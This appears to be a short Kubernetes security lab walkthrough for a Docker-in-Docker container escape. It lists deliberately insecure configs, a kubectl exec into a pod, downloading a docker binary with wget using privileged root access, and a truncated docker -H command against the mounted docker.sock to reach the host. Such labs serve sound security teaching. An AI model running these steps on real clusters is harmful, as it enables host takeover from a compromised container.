Attack#2 Docker in docker exploitation

Related configurations: [Attack#2.json](https://drive.google.com/open?id=1azrigE7DYL7cMovlgtMho1O1LO1LjJRz)

1. Apply all insecure configs in Attack#2.json.
2. kubectl exec -it checkoutservice- -n default -- sh
3. The attacker can find the /run/docker.sock mounted in the file system with misconfigurations **#5 and #6**
   1. Command: mount



1. The attacker can exploit privileged securityContext to use root permission(**#1 and #2**) to install docker tool from the container for misconfiguration **#3**
   1. Install docker
      1. wget <https://download.docker.com/linux/static/stable/x86_64/docker-24.0.6.tgz>
      2. tar xzvf docker-24.0.6.tgz
      3. mv docker/\* /usr/bin/
2. The attacker can access the host system by running the following docker commands with passing docker.sock UNIX socket
   1. docker -H unix:///var/run/docker.soc

